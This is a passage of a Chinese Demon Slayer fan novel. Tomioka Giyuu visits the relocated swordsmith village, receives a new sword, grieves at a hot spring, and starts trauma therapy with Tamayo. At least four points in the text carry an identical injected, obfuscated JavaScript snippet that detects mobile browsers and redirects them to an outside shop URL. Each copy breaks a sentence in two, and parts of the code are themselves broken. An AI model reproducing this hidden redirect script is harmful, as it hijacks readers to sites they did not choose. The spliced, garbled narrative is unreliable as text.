产屋敷耀哉忧心,总觉得他把这孩子的想法带偏了。此刻的他越发想让富冈义勇和珠世谈谈了。 只是他已经将选择权交给了富冈义勇,便不会再干扰他的决定。 “那就当做我的命令吧。”产屋敷耀哉无奈,到底妥协了。 富冈义勇点头,冷峻的脸上看不出一丝勉强。 “还有一事,是有关你的刀。”产屋敷耀哉转换了话题。 说起刀,富冈义勇心里也有些疑惑。这些天他复健的时候,并没有收到近藤先生的消息,他的新刀还没锻造好吗? 近藤先生果然还是生气了吧? 富冈义勇心里不免有些忐忑。 察觉到富冈义勇的紧张,产屋敷耀哉安抚他:“近藤没有责怪你。是锻刀村最近在忙着搬家,他本来想来找你,却被耽误了。” “义勇,你现在伤势刚刚好,不宜立马执行任务,所以我想让你前往锻刀村,确认锻刀村新据点的安危。正好也趁此机会,让近藤帮你打造新的刀。” 在当年藤袭山一事发生后,一些重要的据点不定期就会更换。现在虽然上弦鬼尚未有消息,但产屋敷耀哉还是放心不下,所以还是将各个据点都进行了转移。锻刀村作为刀匠居住的地方,更是重中之重。 派富冈义勇前往,既是确保刀匠村的安全,也是希望他能趁机休息一会。 富冈义勇根本闲不住,前几天刚出治疗室,转头就让宽三郎来问有没有任务。 要不是手里没有刀,产屋敷耀哉很可能一个没看住,就不知道他跑哪去了。 “我明白了,我会前往锻刀村的。”富冈义勇没有意见,开始琢磨要买些什么东西好给近藤先生道歉,完全忽略了产屋敷耀哉说的第一句话。 “锻刀村的据点除了我和常年驻守村子的队员外,没人知道具体的位置。”产屋敷耀哉继续道,“义勇你也一样。前往村子的路上需要你蒙住眼睛,带上耳塞,路上会有不同的队员带你前往。” “我明白了。”富冈义勇点头。 就这样,两个人的谈话顺利结束。 富冈义勇出了住宅,宽三郎就落到他的脑袋上,让自己盘踞在他暖呼呼的头发里:“义勇,你要去锻刀村吗?” 富冈义勇左肩偶尔还会疼,宽三郎就把自己停留的地方直接换到了他的脑袋上。 富冈义勇“嗯”了一下:“宽三郎,你能和我一起吗?” “当然。只不过我也要被蒙住眼睛,带路的会是专门的鎹鸦。”宽三郎回答。 “嗯。宽三郎,近藤先生是刀匠,我要买些锻造材料当赔礼吗?”富冈义勇真诚地发问。在与人相处一事上,他真的很没有经验。 之前去找炼狱杏寿郎,他买的是糕点。这次去锻刀村,还要买糕点吗?近藤先生是刀匠,应该会喜欢锻造材料吧? 富冈义勇对近藤的了解很少,也只有在拿到刀的时候和他见过一面,完全不知道他喜欢什么东西。 早知道刚刚就问问主公了,主公一定知道的。 宽三郎挪了挪身体,让自己坐得更舒服点:“锻造材料一般都挺重的,去锻刀村的时候是由队员背着咱们去,如果太沉的话,好像并不好。” 富冈义勇觉得有道理,脸上难得有了一丝愁容:“该怎么办?” 提前买好东西会给带他前去的队员带来负担,可如果都什么拿,富冈义勇又不好意思去见近藤。 宽三郎忽然有了主意:“义勇,不如我们等到了锻刀村看看那里有没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157004|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么东西卖的?在见到近藤先生前买好东西就好了。” “只能如此了。”富冈义勇在心里叹气。 带路的队员很快就来了。 戴上耳塞,眼睛被遮住,听不见声音,视线也变得昏暗。即使有了心理准备,但富冈义勇还是不自觉地握紧手,身体也有些紧绷。 同样被遮住眼睛的宽三郎拿翅膀拍了拍他的头。 富冈义勇渐渐适应黑暗后,缓缓放松了身体,让队员把他背了起来。 “水柱大人,那我们出发了。” “叫我富冈就好,麻烦你了。” 由于是被人背着,路上也少不了颠簸,再加上视觉和听觉的双双受阻,这种不受控的感觉,让富冈义勇的心底泛起一股莫名的烦躁。 在换到下一个人之前,他被放了下来。富冈义勇扶着背着自己的队员,呼吸有些急促。 两个人互相看了一眼,眼里满是担心。 他们都听说了水柱受伤的消息,担心富冈义勇的伤是不是还没有好。 宽三郎也察觉到富冈义勇的身体在微微颤抖,但现在的他也看不见,心中的担忧只能让他用翅膀抚摸他的脑袋。 富冈义勇调整着呼吸,在心里不停地告诉自己。 现在不需要战斗,只是在前往锻刀村,看不到也没有关系。 富冈义勇强行压下躁动的心绪,额头上也出现了些许的汗珠。等平静下来后,他略带歉意地说:“抱歉,我们继续走吧。” 两个队员还有些放心不下,但赶路要紧,他们也不再浪费时间。下一位队员背起富冈义勇,继续往前走。 等到了锻刀村,富冈义勇直接出了一身的冷汗。 隐的人替富冈义勇去掉了耳塞,轻声道:“要摘开眼罩了。” 富冈义勇稳定着自己的呼吸,缓缓点头。 眼罩被摘下,富冈义勇慢慢睁开了眼睛,适应着周围的光线。 宽三郎的眼罩也被摘了下来,他动了动翅膀,飞到富冈义勇的面前,观察着他的脸色。 好不容易带点血色的脸又变得苍白。 富冈义勇抬手摸了摸宽三郎的脊背:“我没事的。” 只不过他也察觉到了自己的异样。 如果说失去五感会让自己的身体不受控,那在遇上类似血鬼术的鬼时他会毫无还手之力。 主公之前说他的心理出现了问题,或许是真的。在锻刀村的任务结束后,就去见珠世小姐一面吧。 见富冈义勇缓过来了,隐的人舒了口气。她抬手指向前方:“富冈先生,村长家就在这条路尽头向左拐的地方,请您先去跟村长打声招呼。” “好。”富冈义勇点头。 隐的人微微躬身,朝他告辞。 而在宽三郎的陪伴下,富冈义勇走进了村子。 28.第 28 章 无cp,全员cb向,义勇个人向。 本章字数:2102。 富冈义勇一边按照队员的指示朝村长的家走,一边观察着周围。 村子里的居民为了隐藏身份,每个人都带着面具。 打算买东西的富冈义勇眼神逐渐放空。 因为大家都很忙,刚刚搬完家的他们在收拾各种各样的东西,完全没有人顾得上卖东西。 宽三郎静静地盘在富冈义勇的脑袋上,减少自己的存在感。 在走到村长家门口的时候,富冈义勇终于接受了现状。他在心里轻叹,到时候好好道歉吧。 锻刀村的村长是铁地河原铁珍,个头很小,头发已经全白了。 双方互相自我介绍了一下,便开始进入正题。 村子是今天刚刚搬过来,这几天富冈义勇都要确认周围的安全。村子也有不少隐的人,他们的的人员调派也要富冈义勇来安排。 在谈完正事,房间里的氛围也变得轻松下来。 村长让人拿出一个小碗,推到富冈义勇的面前:“来,给你吃花林糖。” 在独自生活以后,富冈义勇就很少买这些零食吃了。 他低头看着满满的花林糖,缓缓伸出手。 脆脆的,甜甜的。 “谢谢。”富冈义勇礼貌地道谢。 富冈义勇吃东西的样子很是乖巧,让戴着面具的村长不禁一笑:“等嘉收拾好东西后,我就让他去找你。” 富冈义勇疑惑地看过去,嘉是? 村长解释:“他的全名是近藤嘉,也是对接你的刀匠。之前听说你受伤的事,自顾自地跑出村子找材料,要不是村子要搬家,他都不打算回来。” 富冈义勇拿着花林糖的手顿住,眼眸微微低垂,原本平静的语气里多了明显的歉意:“抱歉……” 都是因为他把刀弄断了。 村长摇了摇头,语气变得阴沉严肃:“作为刀匠,让刀在使用者手里不会断是最基本要求。那孩子做出来的刀居然会断掉,根本是他的问题。” 富冈义勇眨了眨眼,一时不敢接话。 村长飞快调整语气,重新变得慈祥和善:“听说你现在刚刚痊愈不久,这几天可以去泡一泡村子里的温泉,可以帮你恢复虚弱的身体。” 富冈义勇点头,将这件事记在了心里。 谈完这些事,就有隐的人过来找富冈义勇了。和村长告别,富冈义勇就跟着隐的人出来了。 在队员的带领下,富冈义勇对村子周围有了大致的了解。在思考过后,他将村子周围的布防一一安排下去。 “水柱大人,您现在还没有刀,可以留守在村子里,巡逻这些事交给我们就好。”队员提议。 富冈义勇摇摇头,拒绝了:“我和你们一起。” 作为负责人,他自然不可能什么事都不做,就这样白白在村里休息。就算没有刀,他也要保证大家的安全。 “义勇!”有一个人急匆匆地跑过来。 富冈义勇回头去看,发现是近藤先生,他不自觉地朝后退了两步。 注意到富冈义勇的动作,旁边的队员立马上前拦住跑来的人:“请冷静一点!” 近藤嘉气喘吁吁的,手里还拿着一把刀。他喘息着,说出来的话也断断续续:“义勇,你的新刀我已经在做了,这几天就先用这把。” 他一手扶着膝盖,一手将刀递出去。 “对不起,是我……”富冈义勇诚恳地道歉,但话还没说完,就被近藤嘉揉了下脑袋。 “说什么呢。刀断了再做就是,人还活着就是最好的事情了。”近藤嘉缓了过来,抬手直接将富冈义勇的头发揉得毛躁。 “正好你这几天都在村里,等刀做好以后有什么问题及时和我说。这一次我一定能做出来不会断的刀。”近藤嘉的眼里斗志昂昂,满是兴奋。 他将刀塞进富冈义勇手里:“这个你先凑合用着,新的刀我明天就能做好了。” 不等富冈义勇说话,他就跑走了,很有活力的样子。 旁边的队员倒是见怪不怪了,笑着和富冈义勇解释:“村子里的大家都很喜欢锻刀,一谈到这件事就很有激.情。” 富冈义勇将刀在腰间收好,表情重新变得冷静稳重:“马上就要天黑了,让大家开始行动吧。” “好的。” 浓浓夜色里,有人辛勤地锻造着刀,有人享受着香甜的美梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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富冈义勇难得没有去控制自己的情绪,他抬起头,靠在石头上。 温泉的暖意,石头些许的冰凉。 过去的温馨,内心传来的悲伤。 凉与暖不断交织,苦与乐不停碰撞。 宽三郎看到了那一滴滴落下的眼泪,却什么也没有说。他飞了起来,守在通往温泉的小路上。 滚烫的水划过脸颊,激起阵阵的涟漪。 爸爸,妈妈,姐姐,我有些想你们了。 29.第 29 章 无cp,全员cb向,义勇个人向。 本章字数:2327。 这些年里,富冈义勇一直很少回忆起过去。 因为只要想到曾经的美好,眼泪都会止不住得往下流。 他不能让自己悲伤,因为悲伤会让他什么也做不了。 他需要振作,也需要坚强。 水之呼吸,讲究内心的平静如海面。 他做到了。 将过去掩埋,将美好淡忘,只要不去回想,那就不会悲伤。 但被清风吹佛,被温泉包裹,富冈义勇难得没有去控制自己的情绪。 不必去战斗,不必去考虑其他,现在只是休息时间,所以富冈义勇放任自己去触碰过去。 过去的画面像是隔着纱,已经有些模糊不清。他记不清周围的环境,也记不得那是多久之前的事情。 只记得家人和自己脸上挂着的开怀笑意。 那是幸福又甜蜜的日子。 富冈义勇闭着眼,嘴角比平时微微扬起,脸上却依旧平静如常,任由泪水划过眼角。 他抚上心口,那里又传来钝钝的痛。 他的伤明明已经好了,也没有发烧。 为什么,还会这么难受? “义勇,这些年辛苦你了。” “要照顾好自己啊,义勇。” “义勇,我们一直爱着你。” 熟悉的声音,轻柔的抚摸,让富冈义勇猛然睁开了眼。 他四处张望,却空无一人。 太阳已经升起,树叶沙沙作响。 富冈义勇有些茫然地看着周围,思念在顷刻间如瀑布一般宣泄而出。 刚刚那是父母和姐姐的声音。他已经,很久很久,没有听到过了。 记忆逐渐模糊,睡梦也黯淡无光。 他想不起来,也再也没有梦到。 大概,只是错觉罢了。 温泉不能一直泡,富冈义勇用双手捧起水,将脸上的泪痕洗去。温热的泉水带走了身体积压的疲惫,刚刚痊愈的身体也得到了恢复。 富冈义勇散开了头发,在简单的清洗后,离开了温泉。用浴巾擦去身体上的水珠,又吸走头发的湿漉,他换上了休闲的衣服。 翻涌的情绪被压下,汹涌的海流在平静的海面下无知无觉。 富冈义勇深呼吸了一下,眼中再无半分思念与悲伤。 无波的海面,平静的心,眼底是毫无阴霾的海蓝。 “走吧。”富冈义勇拿好自己的东西,看向宽三郎。 由于富冈义勇刚刚泡过温泉,宽三郎没有落到他的身上,而是飞在他的前面,为他带路。 “义勇,吃完饭以后,好好睡一觉吧。” “嗯。” 回到村子里,隐的人已经在等着他,饭菜也马上就要做好了。 富冈义勇吹干了自己的头发,看着略长的发丝,忽然想起自己之前就想过要剪头发,只是因为种种事件耽搁了。 等睡醒以后剪剪吧。 长发披散在身后,富冈义勇跪坐在桌前,拿起茶壶为自己倒了一杯茶。 茶水有些烫,但握在手里刚刚好。氤氲的热气在身前缓缓上升,模糊了视线,也让困意渐渐袭来。 富冈义勇打了个哈欠,放下杯子,抬手拍了拍自己的脸颊。 要吃完饭再去睡。 就在富冈义勇眼皮眨啊眨的时候,村民端来了饭菜。 很丰盛的美食,味道也很香。 疲惫的身体被温泉缓解,饥饿感被食物填满。现下日光正好,最是适合睡觉。 铺好被褥,在轻柔而温暖的被子包裹下,富冈义勇缓缓闭上了眼。 不需要再思考什么,只是好好地休息一下。 门外守着的人听到了均匀的呼吸声,也放心地离开了。 好好休息吧,富冈先生。 当阳光变得炽热,无法让人直视的时候,富冈义勇醒了过来。 此刻的他有种难得的轻松感。 头发因为睡觉而变得有些杂乱,甚至有几缕头发直直地竖起。由于刚刚清醒,海蓝色的眼里带着几分迷蒙。 富冈义勇伸了个懒腰,换下衣服,穿上队服,披好羽织,拿上备用的刀,走出了房门。 白天是休息的时间,也是训练的时间。 他刚刚痊愈不久,虽然身体已无大碍,状态和受伤前也差不多,但力气多少还是欠缺一点。 富冈义勇找了一处无人的空地,开始了每天的修行。 挥刀、奔跑,以及各种涵盖着力量、肢体和技巧的训练。 等完全结束,富冈义勇的呼吸也乱了几分。他稳定着呼吸,开始思索着晚上的巡逻任务。 等有个初步的计划,富冈义勇拿起了刀,将刀出鞘。 水之呼吸的各个招式交替用出。 “看来你所有的水之呼吸都已经用过了。” 猗窝座那是略带嘲讽的话在脑海里响起,让富冈义勇握紧了手中的刀。 他需要变得更强。 如此弱小而又无力的自己,他不想再经历第二次了。 他一直被保护着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170964|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他要变得更强才能去保护别人。 刀刃斩断空气,蓝色的水波随着刀身涌出。 更加迅捷的招式,更有力量的斩击,像是海面翻涌,波涛骇浪。 水,无形,因人的心而凝。 无尽的水围绕,似流,似波,似浪,似龙。 水,无声,因人的心而响。 漫天的水移动,潺潺,淙淙,呼啸,怒吼。 水,无痕,因人的心而存。 翻涌的水席卷,划过,刺中,贯穿,斩断。 周遭万物,在刀归鞘的那一刻,尽皆归于沉寂。 而就在下一刻,富冈义勇重新拔刀而出,心中没有一丝犹疑。 刀刃在阳光下反射出泠泠寒光,又在夕阳下,多了几分暖意。 细雨从天而降。 这是水的慈悲。 温暖而轻柔,如春风,如晴空。 雨丝绵密,反射出七彩的光。 慈悲之下,充满希望。 太阳缓缓落下,夜幕即将拉开,富冈义勇的训练也全部结束。他将刀收回刀鞘,开始朝村子里走。 在刚刚走到村子里,就有人朝他挥手,是近藤嘉:“你的刀我做好了,快来试试!” 富冈义勇眼睛一亮,飞快地跑过去。 近藤嘉似乎熬了很久,眼底下的黑眼圈十分明显。他脸上满是兴奋,将刀递给富冈义勇:“来,看看有没有觉得哪里不合适的。” 富冈义勇将腰间的刀还给近藤嘉,又将新的刀拔出鞘。 比之前更趁手了。 在他握住的那一刻,日轮刀的颜色也开始变化,纯粹而深邃的蓝色将刀刃覆盖。 “来,挥挥试试。”近藤嘉道。 富冈义勇点点头,后退了几步,用出了水之呼吸的第十一式——凪。 无波的海面在他的脚下蔓延开,让周遭一切也变得安静下来。 “刀很好用,谢谢您。”富冈义勇将刀收好。 近藤嘉双手叉腰,满意地笑笑:“这几天你都还在村子,觉得哪里用得不顺手的,给我说,我给你调整。” 富冈义勇没有拒绝,乖巧地点头:“近藤先生,我先去巡逻了。” 近藤嘉再次上手揉富冈义勇的脑袋:“去吧。但你身体刚好,别太拼。不管是我还是主公,让你来锻刀村,就是想你好好休息的。” 富冈义勇明白的,他有去泡温泉,也有好好吃饭和睡觉。 他也很久没这样轻松过了。 在近藤嘉的视线里,富冈义勇走进了深夜的林中。 30.第 30 章 富冈义勇在锻刀村待了一周,确认大家安然无恙后,他就准备离开了。 这几天他休息得很好,温泉也很有效果,身体不会再痛,肩膀也不会再难受,力量也完全恢复了。 近藤嘉给富冈义勇做的新刀也很好用,富冈义勇用起来也更省力了。 回去的流程和来的时候一样,要被蒙住眼,戴上耳塞。 黑暗的环境,听不见的声音,依旧让富冈义勇很是不舒服。 烦躁像是疯长的野草,在胸腔里不断蔓延。 呼吸变得急促,冷汗不停地冒出。 他这幅样子让隐的队员十分担心,一度想停下脚步让他好好休息。 富冈义勇被背着,声音很轻:“无妨,抓紧赶路吧。” 没有办法,隐的人也知道拖得越久富冈义勇难受得也就越久,一路上跑得飞快。 奔波了一天,富冈义勇终于回到了家。 拖着疲惫的身体,他推开门后就准备回卧室直接休息。 在被困意淹没前,富冈义勇迷迷糊糊地对宽三郎说:“宽三郎,麻烦你帮我告诉主公,我想去见珠世小姐。” “知道了,睡吧。”宽三郎拿翅膀摸了摸他的脑袋,看着他睡着以后,才飞出去找主公。 无梦的夜晚会过得很快,闭上眼,再睁开眼,便是新的一天。 好好睡了一觉以后,富冈义勇就完全恢复了。脸上依旧没有多余的表情,眼神依旧是平静的海蓝。 他换好衣服,将刀佩戴好,又简单吃过早饭后,他出门了。 “义勇,主公已经安排好,我来带你去见珠世小姐。”宽三郎飞在富冈义勇的身前。 富冈义勇“嗯”了一声,跟着宽三郎的指引前进。 珠世所在的地方很隐秘,外面依旧有着愈史郎的障眼法。 在富冈义勇进入房子的范围时,愈史郎就察觉到了他。不等他敲门,愈史郎就从里面打开了门。 “进来吧,珠世大人已经在等你了。”愈史郎一脸的不开心,“不许让珠世大人伤心,听到没有!” 他边说,还边用力戳着富冈义勇的胸口。 在听到富冈义勇要来的时候,珠世大人脸上的表情很复杂。愈史郎说不出那是什么感觉,但本能地觉得生气。 都是因为面前这个人! 富冈义勇有些无措,但还是点点头:“好。” 愈史郎戳他的手顿住,轻哼一声,让他进了屋子。 这间屋子很大,有三层。一楼是客厅和厨房,二楼是珠世用来做实验的地方,三楼是他们休息的地方。 富冈义勇进到客厅时,珠世正从楼梯上下来。 老实说,珠世有些不知道该怎么面对富冈义勇。 即使她心中对他有疼惜,也无法掩盖她曾拿他的生命当作筹码的事实。 当初珠世提醒的那一句,本以为产屋敷耀哉会额外找人对富冈义勇的心理问题进行治疗,结果没想到产屋敷耀哉直接让富冈义勇过来找她了。 在变成鬼之前,她也有自己的孩子,只是她并非一个合格的母亲。 在珠世看来,医者与患者之间不能掺杂额外的情绪,不然诊治就有可能出错。 珠世从楼梯上走下来,两个人坐在沙发上,愈史郎去厨房泡茶,在客厅的他们一时无言。 富冈义勇看了珠世一会,然后说:“那天谈判的事情,我知道的。” 在治疗室复健的那几天,宇髄天元来找过他,将那天谈判的事情简单和他说了一下。 “虽然那是主公要找的鬼,也是救了你的鬼,但我还是希望你能知道这件事。富冈,我不会干扰你的判断,但你需要明白,鬼和人一样,在涉及自己的利益时,他们会利用所有的一切。” 富冈义勇想告诉珠世,他知道珠世曾利用过他,但就算这样,他也愿意来见她。 他很感谢珠世的救助,也信任她的为人。 就像逝去的抚子一样,他们的心中依旧存在善念。 珠世一愣,心里微微苦笑。义勇他知道的啊。 见珠世没有动作,富冈义勇有些疑惑:“珠世小姐,我们不开始治疗吗?” 珠世看着富冈义勇,这才明白了他刚刚的有意思,微微叹了叹气。 这孩子…… 珠世轻轻摇了摇头:“在开始治疗前,我想先和你说一些事情。” 富冈义勇点头:“请说。” 愈史郎端着茶壶和杯子从厨房走出来,将东西放在桌子上,就准备离开了。 只不过在走之前,愈史郎狠狠地瞪了富冈义勇一眼。 不许给珠世大人添麻烦! “义勇,心理治疗需要你的全程配合。而为了确诊你的问题,我需要知道你过往经历的近乎全部的事情。”进入专业领域,珠世变得严肃起来,“这也意味着,你要将自己完全暴露在我面前,不会有任何的秘密。” 富冈义勇沉思,他经历的一切倒是没什么不可以说的。而且在他自己看来,自己除了在失去五感时身体会不受控,其他好像并没有问题。 “好。”富冈义勇与她对视,想了想,将自己在失去视觉和听觉的反应告诉了她。 “除了这个,珠世小姐还需要了解什么吗?” 珠世听完不禁皱眉,结合富冈义勇之前的表现,这说明他除了对意识清醒有近乎极端的执着外,生理上也存在应激反应。 珠世让自己的声音尽量显得柔和:“可以和我讲讲你的过去吗?” 富冈义勇没有拒绝。 从父母的早逝,再到姐姐为了救他而死,以及最终选拔上锖兔的牺牲。 谈及过去,富冈义勇的眼角又不禁泛红,泪水也像是马上决堤的水渠。 富冈义勇不喜欢这种感觉,本想压下这种情绪,却见珠世朝他走了过来。她将富冈义勇抱在怀里,轻拍着他的后背:“没关系的,想哭就哭吧。” 复杂性创伤后应激障碍,珠世在心里做出了判断。 富冈义勇的表情没有变化,只是任由眼泪留着。他微微闭上眼:“每当回想起过去,就会停不下来的流泪,心脏也会觉得很痛。” 他过去只将心脏处的痛归到发烧的后遗症,但他很清楚他现在没有发烧。 为了配合珠世的治疗,富冈义勇将自己的感受描述得很清楚。 “我不能让悲伤影响我的行动,所以每次难过的时候都会让自己不再去想。” “只要不去想,就不会难过。” 珠世听得心里发疼,但为了更了解他的情况,她必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176179|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须狠下心继续问:“在锖兔死后,义勇就一直在刻意让自己避免昏迷吗?” 富冈义勇缓了一会,等心间的情绪平静后,便从珠世的怀里挣脱开。 他想了想,然后点头:“好像是有的。” 不管是平时的训练,还是执行任务,他都一直留意着自己的身体情况。 弱小无力,只能被他人保护。这种情况他不想再经历第二次。 在珠世的循循善诱下,富冈义勇将这些年的事都说了出来,以及他从不认为自己是鬼杀队的一员和暂代水柱一职也都告诉了她。 珠世的眉头越听皱得越紧。 所珍视的人一一死亡,这些创伤性事件给富冈义勇带来了很明显的应激障碍。 他无法看淡这些人的死,将他们的死去看做是自己的责任,而这也引发了幸存者内疚和强迫性控制倾向。 幸存者内疚让他将这些人的死亡归咎于自己的弱小无能,又形成了他不值得被关心的思想。 他一直在提升实力,有一部分原因就是幸存者内疚带来的影响。 而只有通过极端控制身体、避免昏迷这些强迫性控制的方式,他才能缓解内心的失控感与焦虑。 最严重的还是他的解离和躯体化症状。 不让自己回忆过去,是在回避创伤相关情境,也是情感解离的一种表现。 为了避免被巨大的悲伤和痛苦淹没,富冈义勇隔离了与创伤相关联的美好记忆的情感色彩。虽然记忆本身也会随着时间而模糊,但他给自己下了“不能碰”的心理暗示,将情感体验与记忆内容强行分离。 不认为自己是鬼杀队员,也不认为自己是水柱,是他将自己从所属的集体和承担的职责中进行切割。这属于身份解离,代表他无法将身份整合进自我认知,只是单纯地替锖兔在执行责任。 珠世很清楚,产屋敷耀哉和鬼杀队的那些人都很关心义勇,不管是当初的救援,还是后续的维护,都代表他们将富冈义勇当作珍视的同伴。 但因为幸存者内疚和身份解离的缘故,让他一直坚定地认为自己没有资格,从而让自己生活一种与客观现实脱节的认知中。这又是一种认知上的解离。 他的主观现实与客观现实严重不符,义勇应该也认识到了这一点,却无法去修正这种扭曲。因为它已经成为防御“内疚”和“不配得感”的心理堡垒。 除此之外,他的躯体化症状也很明显。 在感官剥夺后,会有失控的焦虑感,伴随呼吸急促。 在回忆过去时,除了最直观的悲伤,还有心口的钝痛,这和创伤后应激障碍的侵入性记忆有关,同时也带来了躯体化。 但富冈义勇的病情有些复杂,解离与躯体化症状是同时存在的。 当富冈义勇觉得痛苦时,解离能让他的情感和部分现实认知离线,防止他整个人的崩溃。而躯体化会把强行切断的情感通过身体反应释放,表现出身体的不适。 也难怪这些年来没人发现他的不对。 富冈义勇会让自己好好休息,身份和认知的解离也让他保持着基本的社交礼貌的同时,能够认真地承担责任。 没人看得见他那平静海面下,有无数的暗流在翻涌。 甚至富冈义勇自己也没有察觉。 31.第 31 章 珠世在心里将富冈义勇的表现一一分析出来,看着眼里无知无觉的他,她头一次感到棘手。 在这么多年里,她救治过不少病人,也很少见到病因如此复杂的他。 珠世揉了一下富冈义勇的脑袋:“谢谢你的信任,义勇。” “你的情况我了解了,想听我的结论吗?” 富冈义勇想了想,道:“会很复杂吗?” 珠世点点头:“很复杂。” “那还是不要了。”富冈义勇看着珠世,“珠世小姐只要告诉我要怎么做就好了。” 珠世:…… 珠世摇摇头,这孩子啊。 罢了,他这种情况,想要完全变好所花费的时间只会多不会少。 珠世端起一个茶杯,递给富冈义勇:“先来喝点水吧,听我慢慢说。” 富冈义勇接过杯子,海蓝色的眼里一片纯净。 谁会想到这样的他有如此复杂的问题。 珠世又忍不住开始心疼,明明是这么乖的孩子。 “义勇,你之前也说过,在你想起家人,泡完温泉的时候,身体会觉得轻松,对不对?”珠世慢慢地和他说,引导着他的思路。 富冈义勇点头,不解地望过去:“这不是温泉的效果吗?村里说温泉可以帮助恢复身体。” “温泉的疗效是一回事,而你直视过去,放任自己的情绪就是另一回事。我给出的第一个建议就是,不要排斥回忆过去。” 富冈义勇第一时间摇头:“这样会让我什么也做不了。” 他会一直哭下去,站不起来,握不住刀。这样的他又该如何去杀鬼? 珠世轻叹:“那我们换个方式,每周给自己留一天的时间。在这一天,到你最舒适,最放松的地方,让自己去想一想过去那些快乐和美好的画面,好不好?” “这一天里,你不要去执行任务,也不用去思考别的,就像在锻刀村那几天一样。流泪也好,什么都不做了也好,都没关系。” 刻意回避并不是解决方法,富冈义勇需要正视过去。 富冈义勇想了想,觉得自己可以接受,便点点头:“好。” 珠世继续对他说:“我希望你能专门备一个笔记本,记录自己的身体感受。举个例子就是在什么情况下,你有什么感受,做出了哪些行为。你可以在睡前去记录,每天只要记录一条就可以。” 躯体化是将未处理情绪通过身体表达,记录下这些也方便珠世和富冈义勇更了解的情绪问题。 这点富冈义勇也能做到,就直接点头同意。 珠世揉了揉富冈义勇的脑袋:“义勇,治疗的过程会有些漫长,我希望你有时间就来和我聊一聊。” 治疗初期能做的事并不多,很多都需要慢慢来。首先要解决的还是他因为侵入性记忆而导致的躯体化。至于身份和认知问题,只能后面慢慢影响了。 “这样会麻烦珠世小姐吗?”珠世小姐还要和主公合作研制药剂,他今天过来也是想着见一面就好了,也不会太打扰到她。 珠世摇摇头:“并不会的。我虽然是鬼,但也是需要休息的。和你聊聊天也能让我放松一下。” 当然,珠世是骗富冈义勇的。给人进行心理疏导,并不算轻松的事情。 但专业的人忽悠起不专业的人,那是非常容易的。 “只是谈话而已,并不会影响什么。”珠世循循善诱,“我会和产屋敷说明你的情况,你来之前就让宽三郎去找他,他会进行安排。如果你不想来得太频繁,可以一个月来找我一次。” 富冈义勇这种情况,一周一次的面谈是最好的。但让他一周来一次,很明显并不现实。珠世也只能退而求其次,改成了一个月一次。 而就算是一个月一次,富冈义勇也有些犹豫。 他可以一周给自己一天放松,也可以好好记录自己的身体情况。但如果还要每个月来见珠世一次的话,这又让他觉得太过麻烦珠世。 “义勇,你不用觉得这是负担。这对我来说也不是麻烦。”珠世捧住富冈义勇的脸,让他看着自己,“你值得被大家关心,知道吗?” 富冈义勇还是不愿意同意。 没有办法之下,珠世只能拿出了杀手锏。她站起身,喊了一下愈史郎。 下一秒,愈史郎就飞快地跑出来,站在了珠世的身旁:“珠世大人,有什么吩咐?” “之前拜托你做的取血道具给我一份吧。”珠世对他说。 “好的,我这就去拿!”愈史郎回答得干净利落,转身就去拿东西。 富冈义勇有些疑惑。 取血? 他的吗? 心理问题也需要抽血化验吗? 一个小盒子被愈史郎取来,交给了珠世。见珠世没有其他吩咐,愈史郎又离开了客厅。 心理治疗的时候除了医生和患者,最好没有第三人在场。愈史郎虽然没那么喜欢富冈义勇,但也不想干扰他的治疗。 珠世重新坐回来,将这个盒子打开,递给了富冈义勇,随即解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182122|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“为了研究打败鬼舞辻的药剂,我需要身上有鬼舞辻血较浓的那些鬼的血液。” 富冈义勇认真听着,原来不是他要抽血。 